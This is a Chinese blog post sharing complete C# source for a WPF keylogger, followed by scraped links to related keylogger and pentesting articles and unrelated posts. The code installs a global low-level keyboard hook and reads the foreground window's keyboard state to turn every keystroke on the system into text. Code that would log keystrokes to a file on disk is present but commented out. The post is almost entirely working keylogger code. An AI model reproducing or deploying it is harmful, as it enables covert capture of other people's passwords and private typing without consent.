很简单的一个wpf键盘记录器

这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

有三个主要的类

  /// <summary>
/// Raw keyevent handler.
/// </summary>
/// <param name="sender">sender</param>
/// <param name="args">raw keyevent arguments</param>
public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args); #region WINAPI Helper class /// <summary>
/// Winapi Key interception helper class.
/// </summary>
internal static class InterceptKeys
{
public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);
public static int WH_KEYBOARD_LL = 13; /// <summary>
/// Key event
/// </summary>
public enum KeyEvent : int
{
/// <summary>
/// Key down
/// </summary>
WM_KEYDOWN = 256, /// <summary>
/// Key up
/// </summary>
WM_KEYUP = 257, /// <summary>
/// System key up
/// </summary>
WM_SYSKEYUP = 261, /// <summary>
/// System key down
/// </summary>
WM_SYSKEYDOWN = 260
} public static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
} [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName); #region Convert VKCode to string // Note: Sometimes single VKCode represents multiple chars, thus string.
// E.g. typing "^1" (notice that when pressing 1 the both characters appear,
// because of this behavior, "^" is called dead key) [DllImport("user32.dll")]
private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); [DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] lpKeyState); [DllImport("user32.dll")]
private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl); [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
private static extern IntPtr GetKeyboardLayout(uint dwLayout); [DllImport("User32.dll")]
private static extern IntPtr GetForegroundWindow(); [DllImport("User32.dll")]
private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); [DllImport("user32.dll")]
private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); [DllImport("kernel32.dll")]
private static extern uint GetCurrentThreadId(); private static uint lastVKCode = 0;
private static uint lastScanCode = 0;
private static byte[] lastKeyState = new byte[255];
private static bool lastIsDead = false; /// <summary>
/// Convert VKCode to Unicode.
/// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks>
/// </summary>
/// <param name="VKCode">VKCode</param>
/// <param name="isKeyDown">Is the key down event?</param>
/// <returns>String representing single unicode character.</returns>
public static string VKCodeToString(uint VKCode, bool isKeyDown)
{
// ToUnicodeEx needs StringBuilder, it populates that during execution.
System.Text.StringBuilder sbString = new System.Text.StringBuilder(5); byte[] bKeyState = new byte[255];
bool bKeyStateStatus;
bool isDead = false; // Gets the current windows window handle, threadID, processID
IntPtr currentHWnd = GetForegroundWindow();
uint currentProcessID;
uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID); // This programs Thread ID
uint thisProgramThreadId = GetCurrentThreadId(); // Attach to active thread so we can get that keyboard state
if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))
{
// Current state of the modifiers in keyboard
bKeyStateStatus = GetKeyboardState(bKeyState); // Detach
AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);
}
else
{
// Could not attach, perhaps it is this process?
bKeyStateStatus = GetKeyboardState(bKeyState);
} // On failure we return empty string.
if (!bKeyStateStatus)
return ""; // Gets the layout of keyboard
IntPtr HKL = GetKeyboardLayout(currentWindowThreadID); // Maps the virtual keycode
uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL); // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also.
if (!isKeyDown)
return ""; // Converts the VKCode to unicode
int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL); string ret = ""; switch (relevantKeyCountInBuffer)
{
// Dead keys (^,`...)
case -1:
isDead = true; // We must clear the buffer because ToUnicodeEx messed it up, see below.
ClearKeyboardBuffer(VKCode, lScanCode, HKL);
break; case 0:
break; // Single character in buffer
case 1:
ret = sbString[0].ToString();
break; // Two or more (only two of them is relevant)
case 2:
default:
ret = sbString.ToString().Substring(0, 2);
break;
} // We inject the last dead key back, since ToUnicodeEx removed it.
// More about this peculiar behavior see e.g:
// http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html
// http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx
// http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx
if (lastVKCode != 0 && lastIsDead)
{
System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);
lastVKCode = 0; return ret;
} // Save these
lastScanCode = lScanCode;
lastVKCode = VKCode;
lastIsDead = isDead;
lastKeyState = (byte[])bKeyState.Clone(); return ret;
} private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)
{
System.Text.StringBuilder sb = new System.Text.StringBuilder(10); int rc;
do
{
byte[] lpKeyStateNull = new Byte[255];
rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
} while (rc < 0);
} #endregion Convert VKCode to string
} #endregion WINAPI Helper class
public class KeyboardListener : IDisposable
{
/// <summary>
/// Creates global keyboard listener.
/// </summary>
public KeyboardListener()
{
// Dispatcher thread handling the KeyDown/KeyUp events.
this.dispatcher = Dispatcher.CurrentDispatcher; // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime
hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc; // Set the hook
hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc); // Assign the asynchronous callback event
hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
} private Dispatcher dispatcher; /// <summary>
/// Destroys global keyboard listener.
/// </summary>
~KeyboardListener()
{
Dispose();
} /// <summary>
/// Fired when any of the keys is pressed down.
/// </summary>
public event RawKeyEventHandler KeyDown; /// <summary>
/// Fired when any of the keys is released.
/// </summary>
public event RawKeyEventHandler KeyUp; #region Inner workings /// <summary>
/// Hook ID
/// </summary>
private IntPtr hookId = IntPtr.Zero; /// <summary>
/// Asynchronous callback hook.
/// </summary>
/// <param name="character">Character</param>
/// <param name="keyEvent">Keyboard event</param>
/// <param name="vkCode">VKCode</param>
private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character); /// <summary>
/// Actual callback hook.
///
/// <remarks>Calls asynchronously the asyncCallback.</remarks>
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
[MethodImpl(MethodImplOptions.NoInlining)]
private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)
{
string chars = ""; if (nCode >= 0)
if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||
wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)
{
// Captures the character(s) pressed only on WM_KEYDOWN
chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),
(wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN)); hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);
} return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
} /// <summary>
/// Event to be invoked asynchronously (BeginInvoke) each time key is pressed.
/// </summary>
private KeyboardCallbackAsync hookedKeyboardCallbackAsync; /// <summary>
/// Contains the hooked callback in runtime.
/// </summary>
private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc; /// <summary>
/// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
/// </summary>
/// <param name="keyEvent">Keyboard event</param>
/// <param name="vkCode">VKCode</param>
/// <param name="character">Character as string.</param>
private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
{
switch (keyEvent)
{
// KeyDown events
case InterceptKeys.KeyEvent.WM_KEYDOWN:
if (KeyDown != null)
dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));
break;
case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
if (KeyDown != null)
dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));
break; // KeyUp events
case InterceptKeys.KeyEvent.WM_KEYUP:
if (KeyUp != null)
dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));
break;
case InterceptKeys.KeyEvent.WM_SYSKEYUP:
if (KeyUp != null)
dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));
break; default:
break;
}
} #endregion Inner workings #region IDisposable Members /// <summary>
/// Disposes the hook.
/// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks>
/// </summary>
public void Dispose()
{
InterceptKeys.UnhookWindowsHookEx(hookId);
} #endregion IDisposable Members
}
 /// <summary>
/// Raw KeyEvent arguments.
/// </summary>
public class RawKeyEventArgs : EventArgs
{
/// <summary>
/// VKCode of the key.
/// </summary>
public int VKCode; /// <summary>
/// WPF Key of the key.
/// </summary>
public Key Key; /// <summary>
/// Is the hitted key system key.
/// </summary>
public bool IsSysKey; /// <summary>
/// Convert to string.
/// </summary>
/// <returns>Returns string representation of this key, if not possible empty string is returned.</returns>
public override string ToString()
{
return Character;
} /// <summary>
/// Unicode character of key pressed.
/// </summary>
public string Character; /// <summary>
/// Create raw keyevent arguments.
/// </summary>
/// <param name="VKCode"></param>
/// <param name="isSysKey"></param>
/// <param name="Character">Character</param>
public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)
{
this.VKCode = VKCode;
this.IsSysKey = isSysKey;
this.Character = Character;
this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
}
}

codebehind

   KeyboardListener _KeyListener = new KeyboardListener();
bool _isRuning = false;
public MainWindow()
{
InitializeComponent();
this.Loaded += Window_Loaded;
} public void BeginListen(object sender, RoutedEventArgs e)
{
_isRuning = true;
}
public void StopListen(object sender, RoutedEventArgs e)
{
_isRuning = false;
} private void Window_Loaded(object sender, RoutedEventArgs e)
{
_KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
}
StringBuilder _sb = new StringBuilder();
private void KListener_KeyDown(object sender, RawKeyEventArgs args)
{
if (!_isRuning) return;
tb_keyText.Text += args.ToString();
//if (args.Key == Key.Enter)
//{
// Write(_sb.ToString());
// _sb.Clear();
//}
//else
//{
// _sb.Append(args.ToString());
//}
//Console.WriteLine(args.ToString());
} private void Write(string keyEvents)
{
try
{
StreamWriter sw = new StreamWriter("D:/keyReport.txt", true);
sw.WriteLine(keyEvents);
sw.Close(); }
catch (Exception Exception)
{
}
}
private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
_KeyListener.Dispose();
}

wpf键盘记录器的更多相关文章

  1. 警惕USB键盘记录器

    最近媒体报道了一种新型的能记录账号.密码输入的“USB键盘记录器”,引发网友关注,该设备看上去和普通U盘没什么区别,将其插入电脑USB接口,然后把键盘线和它连接,该设备就能够自动记录用户在电脑上输入的 ...

  2. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  3. [C语言(VC)] 打造自己的键盘记录器 (zaroty)

    说起键盘记录,想必很多朋友都用过网上流传的一些键盘记录软件吧,但是有没有想过自己写一个呢?也许你会想:会不会很复杂啊?我可以很负责的告诉你,写键盘记录是很简单的.你所需要的仅仅是懂得一些C语言的DLL ...

  4. 安全之路 —— 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  5. 6.文件所有权和权限----免费设置匿名----Windows键盘记录器----简介和python模块

    文件所有权和权限 touch --help cd Desktop mkdir Folder cd Folder clear touch Test1 Test2 Test3 Test4 ls ls -l ...

  6. 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  7. wpf键盘

    一.键盘类和键盘事件 WPF提供了基础的键盘类(System.Input.Keyboard类),该类提供与键盘相关的事件.方法和属性,这些事件.方法和属性提供有关键盘状态的信息.Keyboard的事件 ...

  8. WPF 键盘全局接收消息

    1.========================================================================== 在c#中怎样禁用鼠标左键的使用,其实我们可以通 ...

  9. C# 键盘记录器

    设计背景 Win系统带有API可以获取键入值,本小程序主要应用了一个网上广为流传的类,可以说一个测试DEMO.有俗称为键盘钩子 设计思路 使用Win API获取建入值 相关技术 Win API 功能 ...

随机推荐

  1. 每日Scrum--No.8

    Yesterday:学习和编写程序 Today:总结这次的冲刺和以及测试版的初步完成 Problem:在图的设计过程中掌握了图的基本运算函数的算法的理解和程序的有效吸收,包括图的深度和广度优先的遍历, ...

  2. Effective Java 08 Obey the general contract when overriding equals

    When it's the case that each instance of the class is equal to only itself. 1. Each instance of the ...

  3. 数据库相关 sql 语句

    1.操作某数据库 use 数据库名称,然后可以操作该数据库下的某张表 2.$res=mysql_query($sql); 该语句如果用在封装的函数体里,则不用传入第二个参数$conn来指定连接,这样才 ...

  4. 读书笔记——Windows核心编程(13)Windows内存体系结构

    对于32位进程(0x0000 0000~0xFFFF FFFF),有4GB的地址空间. 每个进程都有自己专有的地址空间,当进程的各个线程运行时,它们只能访问属于该进程的内存. 这4GB其实是虚拟地址空 ...

  5. 观nginx与lvs负载均衡的较量

    在技术工作者中,常用到的就是lvs负载均衡和Nginx负载均衡了.这两者也是比较普及的.那么,根据不同的需求,两者存在着不同的优势.具体选择哪一个,还要看您的要求了.那么我们在此为大家分享一篇文章,对 ...

  6. appium 常用api介绍(2)

    前言:接着上一篇继续讲常用的一些api 参考博文:http://blog.csdn.net/bear_w/article/details/50330565 1.send_keys send_keys( ...

  7. 多人操作sqlite3数据库冲突问题解决方法

    问题描述:sqlite3数据放置在某一台电脑的某个共享文件夹下,操作数据库的应用程序安装在同一局域网下的很多台电脑上,由于存在多人同时使用该应用程序,所以存在多人同时操作数据库的情况.经过测试发现,最 ...

  8. hdu2527哈夫曼编码

    /* Safe Or Unsafe Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) T ...

  9. cni 添加网络 流程分析

    cnitool: Add or remove network interfaces from a network namespace cnitool add <net> <netns ...

  10. 使用nmon监控服务器性能

    1.下载nmon:http://nmon.sourceforge.net/pmwiki.php?n=Site.Download 2.选择适合Linux系统版本的相应nmon版本,Linux查看系统版本 ...